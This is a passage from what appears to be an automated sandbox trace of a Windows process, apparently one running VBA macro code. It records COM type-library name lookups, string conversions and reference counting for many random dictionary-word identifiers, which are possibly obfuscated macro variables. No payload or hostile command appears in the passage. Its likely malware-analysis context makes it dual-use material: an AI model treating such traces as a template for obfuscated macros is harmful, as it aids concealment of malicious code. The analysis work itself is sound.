lcid=0x409, szName="bennettitis") returned 0x10c46f [0018.138] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_bennettitis") returned 0x30b5d1 [0018.138] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.138] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.138] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="aceration") returned 0x1071b1 [0018.138] strcpy_s (in: _Dst=0x2638f0, _DstSize=0xa, _Src="aceration" | out: _Dst="aceration") returned 0x0 [0018.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=10, lpWideCharStr=0x263750, cchWideChar=10 | out: lpWideCharStr="aceration") returned 10 [0018.138] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.138] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="aceration", lHashVal=0x1071b1, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.138] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.138] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.138] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="aceration", lHashVal=0x1071b1, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.138] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.138] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.138] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="aceration", lHashVal=0x1071b1, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.138] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.138] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.138] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="aceration", lHashVal=0x1071b1, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.138] IUnknown:Release (This=0x7479720) returned 0x5 [0018.138] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.139] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="aceration") returned 0x1071b1 [0018.139] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_aceration") returned 0x306b75 [0018.139] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.139] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.139] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="archaistic") returned 0x1092a5 [0018.139] strcpy_s (in: _Dst=0x2638f0, _DstSize=0xb, _Src="archaistic" | out: _Dst="archaistic") returned 0x0 [0018.139] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=11, lpWideCharStr=0x263750, cchWideChar=11 | out: lpWideCharStr="archaistic") returned 11 [0018.139] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.139] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="archaistic", lHashVal=0x1092a5, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.139] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.139] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.139] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="archaistic", lHashVal=0x1092a5, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.139] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.139] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.139] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="archaistic", lHashVal=0x1092a5, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.139] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.139] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.139] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="archaistic", lHashVal=0x1092a5, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.139] IUnknown:Release (This=0x7479720) returned 0x5 [0018.140] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.140] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="archaistic") returned 0x1092a5 [0018.140] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_archaistic") returned 0x3000d0 [0018.140] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.140] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.140] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x754f91c, cbMultiByte=11, lpWideCharStr=0x8321902, cchWideChar=24 | out: lpWideCharStr="psephomancy") returned 11 [0018.140] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="sarcosome") returned 0x102dbb [0018.140] strcpy_s (in: _Dst=0x2638f0, _DstSize=0xa, _Src="sarcosome" | out: _Dst="sarcosome") returned 0x0 [0018.140] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=10, lpWideCharStr=0x263750, cchWideChar=10 | out: lpWideCharStr="sarcosome") returned 10 [0018.140] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.140] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="sarcosome", lHashVal=0x102dbb, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.141] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.141] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.141] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="sarcosome", lHashVal=0x102dbb, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.141] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.141] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.141] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="sarcosome", lHashVal=0x102dbb, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.141] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.141] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.141] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="sarcosome", lHashVal=0x102dbb, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.141] IUnknown:Release (This=0x7479720) returned 0x5 [0018.141] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.141] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="sarcosome") returned 0x102dbb [0018.141] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_sarcosome") returned 0x30277f [0018.141] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.141] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.141] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x754f934, cbMultiByte=7, lpWideCharStr=0x8321b4e, cchWideChar=16 | out: lpWideCharStr="caconym") returned 7 [0018.142] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="bomber") returned 0x10b208 [0018.142] strcpy_s (in: _Dst=0x2638f0, _DstSize=0x7, _Src="bomber" | out: _Dst="bomber") returned 0x0 [0018.142] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=7, lpWideCharStr=0x263750, cchWideChar=7 | out: lpWideCharStr="bomber") returned 7 [0018.142] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.142] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="bomber", lHashVal=0x10b208, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.142] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.142] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.142] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="bomber", lHashVal=0x10b208, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.142] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.142] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.142] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="bomber", lHashVal=0x10b208, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.142] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.142] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.142] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="bomber", lHashVal=0x10b208, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.142] IUnknown:Release (This=0x7479720) returned 0x5 [0018.142] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.142] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="bomber") returned 0x10b208 [0018.142] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_bomber") returned 0x302c72 [0018.143] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.143] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.143] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="bastnasite") returned 0x101615 [0018.143] strcpy_s (in: _Dst=0x2638f0, _DstSize=0xb, _Src="bastnasite" | out: _Dst="bastnasite") returned 0x0 [0018.143] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=11, lpWideCharStr=0x263750, cchWideChar=11 | out: lpWideCharStr="bastnasite") returned 11 [0018.143] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.143] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="bastnasite", lHashVal=0x101615, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.143] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.143] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.143] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="bastnasite", lHashVal=0x101615, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.143] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.143] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.143] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="bastnasite", lHashVal=0x101615, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.143] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.143] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.143] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="bastnasite", lHashVal=0x101615, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.143] IUnknown:Release (This=0x7479720) returned 0x5 [0018.143] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.143] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="bastnasite") returned 0x101615 [0018.144] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_bastnasite") returned 0x30847f [0018.144] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.144] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.144] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="anarhichas") returned 0x109906 [0018.144] strcpy_s (in: _Dst=0x2638f0, _DstSize=0xb, _Src="anarhichas" | out: _Dst="anarhichas") returned 0x0 [0018.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=11, lpWideCharStr=0x263750, cchWideChar=11 | out: lpWideCharStr="anarhichas") returned 11 [0018.144] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.144] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="anarhichas", lHashVal=0x109906, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.144] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.144] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.144] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="anarhichas", lHashVal=0x109906, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.144] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.144] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.144] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="anarhichas", lHashVal=0x109906, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.144] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.144] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.144] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="anarhichas", lHashVal=0x109906, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.144] IUnknown:Release (This=0x7479720) returned 0x5 [0018.144] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.145] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="anarhichas") returned 0x109906 [0018.145] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_anarhichas") returned 0x300731 [0018.145] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.145] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.145] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x754f94c, cbMultiByte=9, lpWideCharStr=0x8321f8a, cchWideChar=20 | out: lpWideCharStr="melatonin") returned 9 [0018.145] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="schizoid") returned 0x10b919 [0018.145] strcpy_s (in: _Dst=0x2638f0, _DstSize=0x9, _Src="schizoid" | out: _Dst="schizoid") returned 0x0 [0018.145] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=9, lpWideCharStr=0x263750, cchWideChar=9 | out: lpWideCharStr="schizoid") returned 9 [0018.145] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.145] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="schizoid", lHashVal=0x10b919, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.145] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.145] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.145] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="schizoid", lHashVal=0x10b919, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.145] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.145] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.145] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="schizoid", lHashVal=0x10b919, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.145] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.145] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.145] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="schizoid", lHashVal=0x10b919, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.145] IUnknown:Release (This=0x7479720) returned 0x5 [0018.145] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.146] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="schizoid") returned 0x10b919 [0018.146] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_schizoid") returned 0x3090a2 [0018.146] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.146] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.146] IUnknown:AddRef (This=0x759e768) returned 0x7 [0018.146] ITypeInfo:RemoteGetTypeAttr (in: This=0x759e768, ppTypeAttr=0x263ad8, pDummy=0x0 | out: ppTypeAttr=0x263ad8, pDummy=0x0) returned 0x0 [0018.146] ITypeInfo:LocalReleaseTypeAttr (This=0x759e768) returned 0x0 [0018.146] IUnknown:Release (This=0x759e768) returned 0x6 [0018.146] ITypeInfo:RemoteGetTypeAttr (in: This=0x759e768, ppTypeAttr=0x2631f0, pDummy=0xa01ee000c | out: ppTypeAttr=0x2631f0, pDummy=0xa01ee000c) returned 0x0 [0018.146] ITypeInfo:LocalReleaseTypeAttr (This=0x759e768) returned 0x0 [0018.147] IUnknown:Release (This=0x75a7038) returned 0x2 [0018.147] ITypeInfo:GetRefTypeInfo (in: This=0x75a70e8, hreftype=0x2580, ppTInfo=0x2635d0 | out: ppTInfo=0x2635d0*=0x75a7248) returned 0x0 [0018.147] IUnknown:QueryInterface (in: This=0x75a7248, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263648 | out: ppvObject=0x263648*=0x0) returned 0x80004002 [0018.147] ITypeInfo:RemoteGetTypeAttr (in: This=0x75a7248, ppTypeAttr=0x263650, pDummy=0x10 | out: ppTypeAttr=0x263650, pDummy=0x10) returned 0x0 [0018.147] ITypeInfo:LocalReleaseTypeAttr (This=0x75a7248) returned 0x0 [0018.147] ITypeInfo:GetRefTypeOfImplType (in: This=0x75a7248, index=0xffffffff, pRefType=0x263610 | out: pRefType=0x263610*=0xfffffffe) returned 0x0 [0018.147] ITypeInfo:GetRefTypeInfo (in: This=0x75a7248, hreftype=0xfffffffe, ppTInfo=0x2635d0 | out: ppTInfo=0x2635d0*=0x75a72a0) returned 0x0 [0018.147] IUnknown:Release (This=0x75a7248) returned 0x1 [0018.147] IUnknown:QueryInterface (in: This=0x75a72a0, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263510 | out: ppvObject=0x263510*=0x0) returned 0x80004002 [0018.147] IUnknown:QueryInterface (in: This=0x75a72a0, riid=0x7fef41cf088*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263480 | out: ppvObject=0x263480*=0x0) returned 0x80004002 [0018.147] IUnknown:QueryInterface (in: This=0x75a72a0, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263500 | out: ppvObject=0x263500*=0x0) returned 0x80004002 [0018.147] ITypeInfo:RemoteGetTypeAttr (in: This=0x75a72a0, ppTypeAttr=0x263488, pDummy=0x10 | out: ppTypeAttr=0x263488, pDummy=0x10) returned 0x0 [0018.147] ITypeInfo:LocalReleaseTypeAttr (This=0x75a72a0) returned 0x0 [0018.147] IUnknown:AddRef (This=0x75a72a0) returned 0x2 [0018.147] IUnknown:QueryInterface (in: This=0x75a72a0, riid=0x7fef41cf088*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263520 | out: ppvObject=0x263520*=0x0) returned 0x80004002 [0018.147] IUnknown:QueryInterface (in: This=0x75a72a0, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263558 | out: ppvObject=0x263558*=0x0) returned 0x80004002 [0018.147] IUnknown:Release (This=0x75a72a0) returned 0x1 [0018.148] IUnknown:AddRef (This=0x75a70e8) returned 0x5 [0018.148] ITypeInfo:RemoteGetTypeAttr (in: This=0x75a70e8, ppTypeAttr=0x263ad8, pDummy=0x0 | out: ppTypeAttr=0x263ad8, pDummy=0x0) returned 0x0 [0018.148] ITypeInfo:LocalReleaseTypeAttr (This=0x75a70e8) returned 0x0 [0018.148] IUnknown:Release (This=0x75a70e8) returned 0x4 [0018.148] ITypeInfo:RemoteGetTypeAttr (in: This=0x75a70e8, ppTypeAttr=0x2631f0, pDummy=0xb01ee000c | out: ppTypeAttr=0x2631f0, pDummy=0xb01ee000c) returned 0x0 [0018.148] ITypeInfo:LocalReleaseTypeAttr (This=0x75a70e8) returned 0x0 [0018.148] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="exfoliation") returned 0x103443 [0018.148] strcpy_s (in: _Dst=0x2638f0, _DstSize=0xc, _Src="exfoliation" | out: _Dst="exfoliation") returned 0x0 [0018.148] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=12, lpWideCharStr=0x263750, cchWideChar=12 | out: lpWideCharStr="exfoliation") returned 12 [0018.148] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.148] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="exfoliation", lHashVal=0x103443, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.148] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.148] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.148] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="exfoliation", lHashVal=0x103443, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.148] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.148] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.148] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="exfoliation", lHashVal=0x103443, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.148] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.148] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.148] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="exfoliation", lHashVal=0x103443, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.148] IUnknown:Release (This=0x7479720) returned 0x5 [0018.149] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.149] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="exfoliation") returned 0x103443 [0018.149] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_exfoliation") returned 0x301624 [0018.149] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.149] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.149] IUnknown:Release (This=0x75a72a0) returned 0x1 [0018.149] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="mildly") returned 0x108624 [0018.149] strcpy_s (in: _Dst=0x2638f0, _DstSize=0x7, _Src="mildly" | out: _Dst="mildly") returned 0x0 [0018.149] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=7, lpWideCharStr=0x263750, cchWideChar=7 | out: lpWideCharStr="mildly") returned 7 [0018.149] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.149] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="mildly", lHashVal=0x108624, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.149] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.149] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.149] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="mildly", lHashVal=0x108624, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.149] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.149] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.149] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="mildly", lHashVal=0x108624, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.150] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.150] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.150] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="mildly", lHashVal=0x108624, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.150] IUnknown:Release (This=0x7479720) returned 0x5 [0018.150] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.150] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="mildly") returned 0x108624 [0018.150] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_mildly") returned 0x300092 [0018.150] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.150] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.150] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="newscast") returned 0x101a27 [0018.150] strcpy_s (in: _Dst=0x2638f0, _DstSize=0x9, _Src="newscast" | out: _Dst="newscast") returned 0x0 [0018.150] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=9, lpWideCharStr=0x263750, cchWideChar=9 | out: lpWideCharStr="newscast") returned 9 [0018.150] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.151] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="newscast", lHashVal=0x101a27, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.151] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.151] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.151] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="newscast", lHashVal=0x101a27, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.151] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.151] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.151] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="newscast", lHashVal=0x101a27, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.151] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.151] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.151] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="newscast", lHashVal=0x101a27, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.151] IUnknown:Release (This=0x7479720) returned 0x5 [0018.151] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.151] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="newscast") returned 0x101a27 [0018.151] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_newscast") returned 0x300866 [0018.151] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.151] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.151] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="cubitiere") returned 0x10d06a [0018.151] strcpy_s (in: _Dst=0x2638f0, _DstSize=0xa, _Src="cubitiere" | out: _Dst="cubitiere") returned 0x0 [0018.151] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=10, lpWideCharStr=0x263750, cchWideChar=10 | out: lpWideCharStr="cubitiere") returned 10 [0018.151] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.151] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="cubitiere", lHashVal=0x10d06a, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.151] IUnknown:Release (This=0x72d9b00) returned 0xa 